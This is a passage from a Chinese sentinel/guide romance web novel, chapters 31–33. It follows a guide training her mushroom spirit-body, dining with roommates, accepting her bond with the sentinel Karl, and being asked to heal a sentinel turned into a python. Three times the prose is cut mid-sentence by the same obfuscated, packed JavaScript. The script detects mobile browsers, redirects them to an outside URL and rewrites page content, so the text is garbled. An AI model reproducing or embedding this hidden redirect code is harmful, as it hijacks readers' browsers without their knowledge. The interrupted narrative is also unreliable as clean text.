但过了许久,也没出现战斗场景,视角推到静音室里。 “这不是什么你说来就来,说走就走的地方。”女主喊男演员坐下,他们前一幕还爆发了矛盾,激烈争吵。 下一秒,视角推进,放大俊美脸庞,那位哨兵的表情挣扎,痛苦地问:“你想干什么?” 女主:“记住,没有我的允许,不准离开!” “哈哈哈~” 徐珊珊忍不住笑出声,随着剧情一点点推进,她发现这是一部爱情剧,上网搜了一下,评分挺高。 剧情经典,霸道向导爱上我,还是追夫火葬场,该剧一度拿了收视冠军,收获满满好评。剧组还筹划着拍第二部。 她见小蘑菇也兴奋劲上来,主动逼近蜘蛛,那家伙也配合,缩到沙发一角。它逐渐抬起菌丝,挡住视野,伞柄一摇一摇,然后蜘蛛将整个腹板露出来,倒在沙发上。 精神体之间有它们的交流方式,既然对她没影响,她决定不打扰。但收到扰乱的另有其人。 山昊:“怎么了?” 男人走出房间,见她一脸傻乐地看着两精神体玩闹,旁边还传来响亮的影视剧原声:“你得了我的人,得不到我的心!” 仿佛有三个感叹号落在他脑袋上,见长官过来,她以为是声音太大,影响了他办公,就调小音量,“我在看电视,长官。” “这部剧是由塔外导演拍摄,剧情不符合逻辑,也偏离现实。它是为了满足民众对白塔、哨向关系的想象,也满足了哨兵们的感情需求。” 她点了点头,当然知道电视剧都是人拍出来,为了娱乐,全是假的。 “不要把它带入现实。” 原来是怕她重蹈覆辙,放心吧,她举起右手,比了个OK。 两人坐在一块,男人的手轻敲茶几,蜘蛛从下方露出头,移动着八条腿,走到沙发边,然后往前一跃就到了桌面,然后织出一张网,用两对前肢罩着,小蘑菇也跟着跳过去,被接住了。 它们的亲密互动,自然而然的接抛游戏,让在场的两人略感尴尬。 徐珊珊:“咳,别闹了。” “过来。”在主人的命令下,蜘蛛的脚尖踩在玻璃表面,往另一边走去,见自己的精神体还要跟,用手摁住它,不管底下的抗议,“老实点。” 两只精神体分开,男人看向小蘑菇,把它看得都不挣扎,反而往手里钻了。 山昊:“可以尝试对它下达攻击指令。” 徐珊珊圈住精神体,“它吗?” 这个家伙,只对她有攻击性。连在课上,和别人的精神体打闹时都是战五渣,被拱翻地上,滚来滚去,还伸手要她帮忙站起来。 “对,上次它让你产生幻觉,我想看看它的能力究竟有多强。” “好,”她松开手,目光在小蜘蛛和男人之间移动,“攻击它还是攻击你?” 其实区别不大,精神体受伤也会反过来影响本体,但他担心它会做出过激的反应,还是摊开手,“来我这里吧。” 拎着小蘑菇放在男人手上,手掌处感受到纹路和硬质茧,以前训练留下的痕迹,触感干爽。 男人的手指摊开,掌面够宽,能让它稳稳地站在中间。 山昊:“可以了。” 徐珊珊下达了攻击指令,又怕它下手太重,补了一句:“别太用力。” 她小心地观察着男人的变化,发现他眼珠转动,仿佛注视着某处,视线失焦。 接着看向黑体蜘蛛,它的腹部艳红,比头大得多,连带着腿上下摆动,似乎有些不安,想要躲远。 山昊的眼前出现了别的画面,如同置身别处,身高缩水、视线降低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018297|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、肢体变短粗。熟悉的房子,禁闭的房门背面有一丝裂痕。 孩童撕心裂肺的哭喊声从窗外传来,伴随着邻人父母的咒骂声。 他跪在露台,等着月亮升起,从傍晚到深夜,直到那道身影推开门,山一样的身躯,门板撼动,他们站在一旁讨论,而后平淡地离开,坐着吃饭。 他试图拼凑出父母满意的模样,但总是失望的叹息声,以及随之而来的惩罚。 冬天雪地的寒冷,直到整个人失去知觉。 几秒内,男人回过神,“这个技能很不错,可以为你争取宝贵的时间,在防御、进攻、逃跑时都能发挥作用。” 有时候一秒就能定生死,但如何近身成了一个问题。 “它可以短暂蒙蔽别人的视线,混淆五感,产生恐惧的幻象,无法察觉你的存在。” 听了这话,她大概理解了,近战脆皮法师,最容易暴毙的一集。至于近身,也许需要她来做诱饵,让它偷袭,敏捷就很重要了。 山昊:“具体应用,你可以下去好好琢磨一下,不仅在战斗,还有其他方面。” 男人站起身,“跟我来,我为你准备了训练对象。” 接下来的两小时,她在指导下,成功击毙了三只实验鼠,个头不小。 原来是早就买好,在这儿等着她。 无论是她还是小蘑菇,第一次做这件事都不太顺手,看到僵硬的尸体还有些反胃。 甚至因为不熟练,小鼠被激得满地乱窜,一下跃到桌子上,还要蜘蛛控制住,反复好几次,直到它精疲力尽,才能一击即中。 男人亲自向她示范,应该猛击哪个部位,才能一击毙命。 逐渐习惯,就没那么恐惧了,小蘑菇能把握好剂量,什么程度能够让猎物产生恐惧,畏缩躲在角落,而不至于崩溃逃窜。 每一次都是它下毒,她手起刀落。 做完这个,她是心累体乏,躺回沙发上,看了好一会儿电视剧才缓过来,任由人声轰击大脑。 突然湿漉漉的东西在脸上爬,她惊得后退,是一张沾水的面巾。长官可能是看她被吓出冷汗,给她擦一下,她伸出手,自己接过来,擦了擦脸。 “它们本来就要被处死的。”他这样安慰。 她耗费了许多能量,一觉睡到了下午,睁眼时看见桌上的水果拼盘,竟然也幻视成了鼠头的样子,晃了晃头,才发现只是形状相近。 她站起身,环顾客厅,电视关了,没有小蜘蛛的影子,连楼梯上的蛛网也消失的一干二净,就仿佛从未存在过。 她略感紧张,四处寻人,书房门半敞着,轻敲三下,听到里面的回应,推开门。 男人摘下眼镜,鼻梁上留下鼻托的印子,手中握着一个锥形瓶,“你醒了。” 徐珊珊:“我看你没在。” “我在滴眼药水,可以帮我个忙吗?” “可以。” 她点头答应,男人于是坐在办公椅上,椅脚滚轮转动,上身贴近桌面,仰起头。 她靠在桌边,捏着软瓶,一只手扒开下眼睑,另一只手挤压瓶身。 液体在瓶口汇聚成水滴形,落到下结膜囊,还有的溢出来,落到眼下,她松开手,眼睛闭合,眼球左右转动,她伸手将从眼睑流下的药水擦干,紧接着给另一边上。 他闭上眼睛休息,一直到光脑发出提示音,才睁开眼看去,并不顾及她在一旁看着,没有躲闪、遮挡。 她也因此看见男人给卡尔发过的消息,还有他的置顶标注,如果没看错,她是第一个联系人。 山昊看完群消息,进行回复后,抬头说:“我送你回去,顺便在路上吃个饭。” “好。” 32. 第 32 章 活动室。 皮头撞击主球的右中击点,黑球侧旋,落入袋中,通过滑道归位,桌面仅剩深绿桌布。南希起身,摊开双手,“结束了。” 对手却有些不服气,掌根离开桌缘,“差一点。” 南希帮他补充输球的借口:“杆开裂、球太滑、球台陡……” 对方摊开手,表示愿赌服输。 门扇开启,铰链处发出“嘎吱嘎吱”的声音,硬质鞋底踩踏地面。 男人将球杆放在桌面,重新摆球。 南希转身,看见一个失魂落魄的年轻人,他是自己的下属,也是自己的堂亲。 卡尔:“队长,可以和你聊两句吗?” 南希将球杆放回架上,“下次再打。” 两人离开活动室,拎着能量饮料,找休闲座椅坐下。她递出一瓶给对面的人。 “谢谢。” 男人垂视着瓶身,睫毛长且密,在眼尾落下阴影,手指修长,骨节分明,青筋爬在掌背,浑然天成的美。 南希:“说说吧,什么事?” 她拧开瓶盖,灌了一口,在嘴里弹跳,爽得眯起眼睛,面对男人的沉默,她并不在意。 南希:“这周,你给祖母通过话了吗?” 男人点头,她看向远处,绿植爬上围栏,开出小花,“明早是例行检查,你带队,要特别注意向导住处。” “另外,检测没有危险的物品,也按照原样运回去,按名单领取。” “是,队长。” 工作上的事说完了,接下来是生活,“说起向导,今天怎么不去接人?” 被说中心事,他感到嘴唇干涩,抬头喝了一口,唇瓣像覆上了一层水膜,晶莹剔透的,“有别人送她。” 瓶底落到桌面,压缩又弹起,折射出七彩光斑,但却无人欣赏。 她顿时了然,有些恨铁不成钢道:“你要好好珍惜。” 卡尔:“嗯。” 南希:“她是不是在外面有人了?”嘴角放松,眨眼频率减少,回忆起她的样子,和网上说的一样美好。 她喝了一口饮料,却似饮了酒,语气微醺,“他们会里三层外三层地把她裹个水泄不通,也难怪。” 眼见她想歪了,卡尔打断,“没有,她只标记了我,”说这话时,嘴角轻扬,“只是和别的哨兵走得比较近,特别是空战组和她的上级。” 南希:“也正常。” 上下掂量自己堂弟的样貌,虽然目前不受宠,感觉还有救,安慰道:“日久天长,人又不会跑,你慢慢来。” 卡尔:“她要参加这次演习,和空战组的人一起。” 南希:“名单已经交上去了?” 得到肯定的答复,不太妙的信号,她接着劝导:“这说明她重感情、念旧情,虽然对象多了点。 “我看她很坦诚,体谅人,性格忠实。” 南希:“你又是她第一个,总归不同。别胡思乱想,想推进关系就主动点。” 堂弟像根俊俏的木头,被养得缺乏进攻性,不过倒正好和那位向导一个画风,就是恐怕以后斗不过别的哨兵。 南希:“银行账户关联了吧。” 卡尔点头,这点他还是知道的。 南希:“她对外承认你了吗?” 没有,目前他靠近对方,都是山昊的安排,对方从来没主动找过他,他亦不敢擅自打扰。 南希一只手靠在桌上,搭在脸颊,露出结实的胳膊,肩宽肌阔,撑得T恤绷紧,“你就这样,整天等,要是哪天,他想踢你出局怎么办?” “你不能只当他的跑腿工具人。” “我是接她上下班。”想强调不是为了他,而是为了向导。 南希:“是啊,那你们关系有什么进展?” 见对方又摇头,给机会不中用,无奈摇头,“她喜欢什么?” “她喜欢鸟,喜欢飞在空中的感觉。” 他们确实飞不起来,但也不是没有办法,南希:“家里面有直升机,下周调来,你邀请人家一起看日出、晚霞或者城市夜景,懂了吗?记得提前预约航线。” “好,堂姐,谢谢。” “不谢,”她突然想起,刚联结的哨兵会对向导成瘾,需要安抚,见不到对方会难受,严重的还有结合热。 但他两天天见面,不存在这个问题。 这么一想,小丑竟是我自己,顿时看他不顺眼了,挥手让他离开。 男人起身,光脑响起,铃声特别,低头愣愣地看着来电,抬起眼看向堂姐,又低下头。 她瞬间明白,低声说:“接吧。”凑过来,电话接通,“喂,你好,我是卡尔。” 两小时前。 徐珊珊坐在车上,拨弄光脑,宿舍群突然弹出消息,是一条语音,点开语音条,女声在车内回响,男人视线瞥来一瞬。 吴可:“营地附近有家刚开业的烤肉店,评分不错,我抢到了团券,要不要聚餐?” 下方有一串链接,点进去看,确实不远,菜品、评价都不错。 克拉拉:可以。 红蓝警灯交替闪烁,前方查岗,减速靠边。山昊转头,见她手悬在空中,正在输入,主动开口:“向导?” “我室友,”她瞥见车载导航,距离目的地不远了,但还是参加,“她们叫吴可和克拉拉,精神体分别是野兔和夜光藻。” 在哪听过这个名字,见她一脸雀跃,“想去的话,把地址发我。” “好。” 她迅速回复:我也来! “她们在哪支队伍?你们演习时可以合作。” 徐珊珊还没想过这一茬,“待会我问问。” 车载导航更改路线,行道树不断往身后远去,即将抵达目的地。 “我待会来接你?” 她拒绝道:“这么近,走回去就行了。” 车门解锁,安全带从卡扣脱离,她迫不及待地下车,闪光打在影子上,转身回看。 山昊:“你是不是忘了什么东西?” 她恍然大悟:“包!”在后座提出背包,里面还有换洗的衣物、小零食等。 女人站在人行道上,仰头看向门面牌,寻找店铺标志。 山昊:“训练的时候别逞强,练伤身体得不偿失。” “我知道了,长官拜拜!” 终于找到入口,她挥了挥手,径直走向电梯口,滑门合紧。 发动机引擎启动,汽车驶远。 她来得不慢,但克拉拉更快,已经调好蘸汁坐在桌前。新鲜肉片乘在盘中,一碟碟地摆在桌面,烤网下木炭底部红热。饭局的组织者迟迟未到。 她去甜品区打了一杯酸梅汁,“你来得好早。” 克拉拉:“我早上就回来了。” “那么早?” “队里太吵。” 短暂闲聊后,克拉拉端起盘子,用不锈钢夹将五花肉放上烤架,“先烤吧。” 吴可姗姗来迟,明亮的声线打破沉闷气氛,身后还跟了一个男人。她瞅着有点像那天的问路人。 将他打发走后,吴可走近,“各位,好久不见,过得如何?” 克拉拉:“昨天刚见过。” 不解风情,吴可砸了咂嘴,贴身坐着,看向徐珊珊,“你休息得怎么样,下周开始,每天早晚三公里。” …… 一个令人心塞的消息,酸溜溜的果汁也压不下内心的苦涩,她露出一个十分勉强的笑容。 吴可:“哈哈,相信你一定可以!” 克拉拉:“你跑姿不对,很伤膝盖。” 对面的人被淹的花一样垂下头,一蹶不振,吴可抬眼,“我跑姿也不对,克拉拉你有空教教我?” 银发女人伸出一根手指,皮肤白皙得像玉石,指腹发粉,仿佛光能从中透过,小臂肌肉却很明显。 吴可:“我教学费就是啦。”转头看过来,“你要不要一起来。” 徐珊珊点头,她求之不得,“我参加。” 板蟹、扇贝、鲍鱼、大虾,但某位海鲜热爱者,今天却视若无睹,一筷子都不碰,吴可内心琢磨肯定出了点事。 克拉拉嘴角下撇,安静进餐,注意到她脖子后有缝合痕迹。两人相熟,她再清楚不过。 新朋友爱吃虾,吴可捡起烤好的虾仁放进她的盘中,自言自语道:“哨兵太粘人有点烦。” 她瞥见一旁停下的筷子,“徐珊珊,你说是吧。” “是有点,”最近回消息也有点累,体力耗尽,色欲全无,两人没话硬聊,只能敷衍两句。 徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023714|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珊珊:“之后的演习,我们可以合作啊,我这边是跟空战组,你们在哪支队伍?” 克拉拉抬头,吴可接话:“我绑定的是鼬队,一般在地表,克拉拉是海洋组,和我们不在一块。” 她的筷子指向盘上的鱿鱼须,“就是这个。”软体动物。 吴可:“空战组在空中,初期不起冲突,直到缩圈,才被迫加入战斗。地面、浅海的竞争比较激烈。” 吴可嚼了一口贝肉,无所谓道:“遇上了当然可以合作,但初始地图挺大的,不知道会被投放在哪。” 三支队伍实力都不差,往年没有向导参与,也能拿奖。 克拉拉:“你们队捕猎本能太强了。” 吴可:“是啊,精力旺盛、凶猛好战,各个都跟装了发条一样,停不下来,没架硬打。” 他们代谢高,每天摄入量有体重的百分之十,吃得多拉得多,那可都是白花花的银子。怪不得频出任务,不然都养不活自己。 想起那些混世魔王,克拉拉顿时觉得自己的队伍也没那么难以接受,她也有自己的烦恼。 克拉拉:“他们老找我聊天,很烦。” 门铃总响,被迫中断训练,那点灵光好像也随之消散了,她感到不满。 “把他们的访问权限关了。” 克拉拉:“关了。” 徐珊珊:“访问权限是什么?” 两人抬头看来,吴可略带吃惊地问:“你不会还是个菜鸟吧?你那天那么多人,一个都没看上?” “啊?” “你性冷淡?” “啊?!” 吴可“啧”了一声,“她没经验,下次带她去长长见识。” 灰白色瞳孔里只有食物,克拉拉:你们去,我没空。” “喂喂,”总感觉被小瞧了,她必须纠正,“我是有哨兵的!” 吴可:“嗯嗯,”一副任你辩解的模样,接着解释访问权限,“在系统绑定关系后,有许多便利,比如关联账户、访问权限,他们可以无需预约,靠近向导住处。” “简单来说,就是给别人一把钥匙。” 徐珊珊:“这样岂不是能随时进自己房间?缺乏隐私。” 食指左右晃动,吴可:“非也非也,进门还需要本人同意,访问权限的意思是,他靠近不会被警告驱逐。一般哨兵不能离太近。” 原来是这样,她若有所思地点头,区别好像不大。 晚饭结账,她和吴可平摊,作为拜师费。点开银行账户,心疼地看余额,却发现不对劲,“啊?” “怎么了?” 余额末尾的一连串零,是不是哪个单位转账转错了,要不要报警? 徐珊珊:“钱越花越多了。” 吴可:“还有这种好事?” 吴可隔空说:“点进详情看。” 面容识别后,详细信息展开,果然有副卡,下面是卡尔的账户,可以让他支付。这是? 吴可凑过来,看了一眼,“你还真有哨兵。本来打算下周带你去酒吧玩。” 徐珊珊摇头拒绝:“我不喜欢吵闹的地方,再说,我已经是有家室的人了。” 这话把吴可逗乐了,克拉拉也一副忍俊不禁的模样,露出今天的第一个笑容。 吴可:“清吧,就安静喝酒的那种。当然,你要是想看人跳舞,我也知道一个好地方。” 她展示屏幕,照片的布光、构图非常精妙,完美展示□□。徐珊珊一时间看痴了,下意识捂住了自己的鼻子,更是把吴可逗乐了。 “哈哈哈,你,别流鼻血了,”吴可看向银发女人,对方也显露情绪,被蠢萌的反应逗乐了,“她没玩过。” “别笑了,别笑了,这有什么好笑的。”徐珊珊就不明白了,保守有错吗? 三人走出烤肉店。她吃得多,吴可次之,克拉拉很坚决的一筷子肉一筷子菜,一点甜水不沾。 走在路上,吴可突然说:“其实你使用他们,可以给他们安全感,不必有什么心理负担。” “想来的话,给我发消息,是我朋友开的店。” 她闷声应下,其实心里想着另一件事,关于她和卡尔的既成事实,说要负责,到底怎么负责? 回到宿舍,趁在光脑收缴前,她拨出电话。 33. 第 33 章 “你好。” 卡尔重新坐下,指尖滑动,细看手部轻晃,嘴角上扬,却犹豫着下句话 他心情复杂,却无疑感到惊喜。 女声经由颞骨的振动器,与颅骨共振,声波直达耳蜗,一句礼貌而略显正式的寒暄。 “我是白塔A组向导,徐珊珊,精神体是蘑菇科的真菌,不久前,意外标记了你。” “……” 只有杂音,没有回应。她把不清对方的态度,略带紧张,两人常见面,却不熟,“能听见吗?” 南希用瓶底敲击桌面,示意别不说话。他并不是走神,只是,不知道该如何回应。太热情会显得过激,太收敛又恐释放错误信号。 卡尔:“可以听见。” “你是不是把银行账户绑定到我名下了?” 原来是问这件事,心里的石头落下,他坦然承认。 对方先表态,她来开口也没问题,只是难免惭愧,他本可以自由生活。 “那件事是个意外,抱歉让你经历这样的事。以后不会再强迫你了。其实你不用绑我的账户。” 幸运意外降临,也会被收回,在猝不及防时。她后悔自己曾做过的错事,迫不及待地想撇清关系。 也许她想说:别再缠着她,他的存在太多余。情绪骤冷,鼻翼泛酸,眼眶微红,努力让语气平稳。 卡尔:“没关系,我不介意,您这次找我是想说……” 视线模糊,他侧身,对着花坛低头,一排蚂蚁托举着食物沿着鞋边过,有几只爬上鞋面。 她的意思是,他可以不用遵守白塔对哨兵的那些要求。 “呃,如果你不介意的话——” 她后面的字被吞了进去,一时难以启齿,同时沉默。 头昏耳胀,热气缠身,指骨仿佛碎裂,最难受的是胸口,像被拳头攥住,无法吸气,脸憋得通红。 见他这副模样,南希也有些震住了,没预料到这样的结果。嘘声等待,掏出一包纸巾,可怜的弟弟,看来计划要取消了。 男人深吸一口气,单方面断绝关系,许多向导甚至不会亲自说,只是冷落一旁,让人知难而退。 卡尔:“嗯,我知道了,不会给您添麻烦的。” 这话听着奇怪,他知道什么了?对面语气绷紧,还是掩盖不了抖动的声线,不太对劲。 她出于本能宽慰:“等等,你不要乱想。” 没预料对方会反驳他,预期中的“再见”没有出现,语速加快,有些焦急,勾起了一丝希望,等待对方的宣判。 “您的意思是?” 话被抛回,这种类似于求婚的话还是让人羞耻,她只能婉转一点,“你还没有和别人绑定关系吧?”话说出口就变形了。 “嗯。” 瞬间从地狱攀升天堂,迅速回应。 蚂蚁们陆续回巢穴,一只在鞋上迷了路,反而往鞋舌爬,指尖生出叶片,贴在鞋面。它爬上去后,放归地面,重回大部队。 泪痕仍在,脸上却露出宁静的笑容,南希觉得堂弟可能有些疯魔了,被向导甩就发疯的哨兵也是有的。 她面上没动,实际已经在蓄力,做攻击姿态了,她得第一时间把他控制下来。 “……以后每月,不,每周你要是有需要可以来找我。我会给你开权限的。” “好。” 接下来她只听到一连串的“好”,仿佛除了这个字不会说别的话,声音也越来越软,像掺了蜜,身体也逐渐放松。 情况有变,没事,想开了就好。 电话挂断,南希将纸巾递过去,“擦一擦,没什么大不了的。” “有什么事别一个人憋着。” 卡尔摇头,笑着回味刚才的对话,满足溢于言表,“是珊珊向导,她回应我了。” 南希:“哟!” 右肩一沉,被重重拍下,他也忍不住笑了两声,笑肌鼓起,起身告别:“队长,我去整理仓库了。” 南希看了看表,还有一个多小时,这么急?喊了一声,没应,人还顺拐了。算了,随他去吧。 电话这头,徐珊珊也松了一口气,拍了拍胸口,转身撞见室友放大的脸。 “干什么呢,喊你一直不应?” “打电话。”她将光脑脱下,走到门口递给教导员。 终于处理完毕,因为宽松的社会风气和周全的保护政策,她不担心草率的缔结关系,会带来危险,毕竟两个世界不同。 今夜局部强降雨,向室内转移时,不慎踩进泥地,差点摔倒,被傀儡扶起,起身时,雨水已经从鞋面漫进脚背。 道谢后,跟上大部队进入场馆,坐在台阶上,脱下鞋子,将水倒出来,拧干鞋面、鞋底,每次走动时水液相挤发出嘎嘎声。 晚上回宿舍,洗漱后上床休息,气温骤降,盖着薄毯子,忽然觉得有些冷。 第二天醒来,吞咽口水,像刀割般疼,放射到左半边耳朵,她才发现自己喉咙发炎了,也许是跑步时口呼吸,加上受凉。 照常完成训练,下午来到白塔,先回宿舍,撞见卡尔在搬货,纸箱列在墙边,表面涂着房间号,多数被领走了。 这需要本人领,见她从电梯出来,纠察队员走上前,询问她的号码,被卡尔打断,两人见面。 想到昨天的事,她有些害羞,吞咽口水时,左眉一挑,将难受压下去。他似乎也不敢看她。 卡尔:“你的东西在这,我给你送进去。” 她点了点头,男人扒住纸箱两侧,两臂夹紧用力,肌肉绷紧而凸显,货物放上拖车,满满两箱,边上夹着小盒子,两人一同往里去。 高挑个子挡住灯光,她打开门锁,抬头看去,正撞上望过来的男人。她错开眼,低下头,率先进屋。 门边的墙板上挂着美工刀,专门用来拆快递的,她取下来,男人顺势接过去,三两下拆开,抱起包裹。 “放桌上吧,我后面自己收拾。” 一张加宽加长的餐桌,她压根没用过,不知道为什么要在宿舍放这么大的桌子,还有数把椅子。 男人搬运,她也没闲着,抱起灰色塑料袋,没想到非常重,拼尽全力将它挪了一米,只能放在地面,费力拖到桌边。 实在搬不动,干脆别添乱,跑到冰箱前,打算给两人来瓶饮料,里面空空如也,颓然地垂手。 卡尔:“现在换了直饮水,你打开水龙头就可以喝了。” “好。”她倒了一杯温水,另一杯凉水,留给对方。 温热的水淌过扁桃体,舒服多了,在自己住处,看见男人来回的身影,升起一种莫名的感觉。 两人关系很近,哪怕她以后绑定别的队伍。相处时却相敬如宾,没有情侣间的激情。 搬运完,卡尔师傅终于停下来歇一下,她将水杯递过去,对方握在手中,没有喝,轻喘看她。 她略带羞涩,对方毫不避讳,任她打量,好像变得更直白了,“卡尔。” “嗯?”从喉咙里抠出音节,男人靠过来,不说话,她有些紧张,见他从身后掏出盒子,接过来。 掀起盖子,它是被封在文具盒里的手工艺品。银杏树在左边缘,伸展延长的枝叶占据了三分之一的上缘,石阶上坐着一颗蘑菇,再往前处水潭。 金片从顶部落下,树枝上挂着秋千,小人坐在上面,右下方有幢小屋。它制作精细,细节很多。 “很漂亮,送给我的?” “对。” 他看见她收藏的模型,其他动物的,还有亲手制作、留有她气息的蝙蝠羽翼,忍不住也想在藏馆中占一席之地。 “感谢你为我做这些,可惜我没什么能给你的。” 卡尔:“一个拥抱,可以吗?” 她没想到对方会真的提要求,一时愣住了。 “对不起,我僭越了。” 见对方一脸羞愧,她挠了挠头,“没事。” 上次疏导后,两人没什么接触。她有意保持距离,温暖的怀抱容易让人沦陷,对于缺少关爱的人来说更是如此,害怕戳破美好表象。 徐珊珊张开手,“可以,你过来吧。” 没有想象中的紧张,两人贴近,动作很轻,手指搭在布料上,蜻蜓点水般,感受不到力道,除去缓慢有力的心跳声,没有拥抱的实感。 时间变慢了,她逐渐闻到自己身上散发的汗臭味,胳膊放下,想要往后退,背部贴上掌心,不得后退,她抬头看去。 金发浓密而有光泽,眉毛色浅,眉骨高、眼窝深,颧骨构成正面最宽点,脸颊平滑向内收,眼睛缓慢眨着,光斑在碧绿色眼眸像一泓湖水。 “我亲亲你吧,低头。” 几乎是说话的下一秒,就被拥住,两人紧贴,男人弓腰低头,微凉的唇一下子贴上来,将她的嘴舔的湿漉漉的,非常热情让人难以招架。 隐隐察觉到某个地方不对劲,她手掌拍了拍后背,手缩回,捏着喉咙制止,“我不太舒服,可以了。” “哪里不舒服?”男人嘴微张,一手扶着她的脸,似乎很紧张。 “感冒了,喉咙痛。”男人松手后,她有了空,又给自己倒了一杯热水,一口口润喉。 “去医务室看看?” 她摇头,“不严重,买点润喉糖就行了。”除了嗓子疼,一切良好。 “我待会买来。” “行,别耽误你上班。” 短暂相处后两人分开。 她没去办公室报道,宿舍腾出来了,就不想打扰长官,也吃不下饭,直接躺回床上睡午觉。 她梦见,自己穷困潦倒的在水果店挑选廉价的临期水果,撞见前男友带着穿金戴银的老婆、孩子。 这惊悚故事一下子吓醒了她,才过去短短十分钟,却无法再入睡。 洗漱、换衣服、出门,门外的小机器人吐出几盒感冒药,将它们揣进包里。 时间还早,她乘着电梯往静音室去,耳机中放着音乐,在无人的电梯里跟着节奏扭动腰身、挥舞手臂。 歌曲进入尾声,楼层抵达,但外面却很嘈杂,有点奇怪。她怀疑地看向楼层,没有错,这时间点不该没多少人吗? 电梯门打开,吼声更是直冲耳朵,震得脑瓜子嗡嗡响,“还不快给他抬下去?!” 什么事啊? 看热闹的心冒出来,她踏出候梯厅,眼前的一幕让心脏骤停,包的链子从胳膊滑到手腕,而她浑然不觉,脚步停下,呆若木鸡。 《狂蟒之灾》。 里外围了两圈高大哨兵,来得早的向导,躲在静音室门口,伸出头往外看,还没进去的人被堵在门口,相隔很远。 但她还是能从衣裤间隙,瞥见那头巨蟒,菱形黑褐色、浅灰色斑纹,腹有白鳞,随着躯体扭动,显露极其结实强壮的肌肉。 它的腰围粗壮,同时体长数米,蜷缩在一块,放在一块玻璃水箱中,比三轮车更大。 舔了舔嘴唇,看来她来得不是时候,正准备转身,退回电梯,避避风头。箍紧蛇头的男人却眼尖地发现了她,瞳孔收缩成竖瞳,“珊珊向导,是你吗?” 众人抬头看来,她向前的脚步顿住,不敢相信这会和自己有什么关系,但逃跑是不可能逃跑的,假装淡定地转身:“有什么事吗?” “向导小姐,求您救救他。” “砰、砰、砰……” 一下子有十几个人跪在自己面前还是很震撼的,人墙倒下,她才看清楚水箱中的巨物,它头顶肿起,眼睛呈现古铜色,眼下有黑细纹连到后方,不时吐出蛇信,左右分叉,上黑下白。 人蛇对视,它似乎受了刺激,嘴巴张开,露出獠牙,蛇身往男人胳膊上缠绕,越来越紧,旁边的人伸出手帮忙拉住它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035233|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她伸出手指,指向自己,不敢置信:“我吗?” 我救网纹蟒吗? 守卫见她面露难色,十分理解,更要尽自己的职责,对讲机发出呲呲声,“他已经异化了,不该带到这里来,你们赶紧带回去。” “再不走,它待会伤害向导,没人能担待得起。” 紧握蛇颈的男人,垂眼看向队友,想做最后一次努力,“珊珊向导,他是蛇队的哨兵,预约了今天下午的疏导,刚从野外回来,状态不太好,等候时,控制不住自己。” “几分钟前他还能维持人形,我们听说您愿意帮人净化污染,求您帮他,我们会控制住他,绝不会伤害到您。无论成败,蛇队定倾力报答。” 争吵继续,这理由不能让人信服,普通向导不接待这些异化严重的哨兵,更别提已经全身异化的了。 他们这样做是违反规定,支援部队正在赶来,电梯上升,她还有时间决定,但等人来齐后,他们会做出评判。 她不是不怕,没人能看见七八米的巨蟒而不动声色,强抑着恐惧,慢步前进,清晰地看见蛇尾从水箱边缘落入水中,滑动卷身。 一对圆眼睛,不过指甲大,难以想象这是由一个人变成的。 他情况严重,她的精神体确实是污染专攻,而且不像其他向导,有被传染的风险,按理来说,她可以做这种治疗。 换句话说,现在白塔里,只有她适合做这件事,其他人都不行,解毒和平摊毒性是两码事。 能力越大责任越大,她终于下定决心,迈步穿过人群,率先进门,“可以,你们要控制好它。” 迈向静音室,打开房门,室内亮灯,她站在门边,看向哨兵们,“进来吧。” 守卫试图制止,“徐珊珊向导,您要不要再等等,其他向导马上到。”一些领导也在路上了。 “扣住他。”蛇队的队长很抱歉地看过去,“是我们硬闯,与你无关。” “没事。”她用力地咽了咽口水,喉咙是真痛,再拖就晚了,“进来吧。” 滚轮转动,水箱缓慢移动,但水面仍然激荡起水花,前面的哨兵先进门,将挡路的桌椅推开,留出一条宽敞的路。 她坐回桌上,调整系统参数,静音室内调整到合适的景象、湿度、温度,适合巨蟒的活动。 她抬眼看去,一堆人盯着她干活? 队长示意众人离开,留下六人,异化失控的队员,化身巨蟒,肌肉横向使力,胳膊承受重压,并不好受,发出“咔咔”响声,听得她胆颤。 “向导小姐,开始吧。” “好。”她吸了一口气,将小蘑菇放出来,将它握在手心,还没人家头大,轻声诱哄道:“做完这个,你想要什么奖励,我都给。” 水箱所有盖子打开,垂放在侧壁。 小蘑菇比她更勇敢,她不敢靠近,对方直接从手掌上跳了下去,十分干脆,她担心地跟了几步。 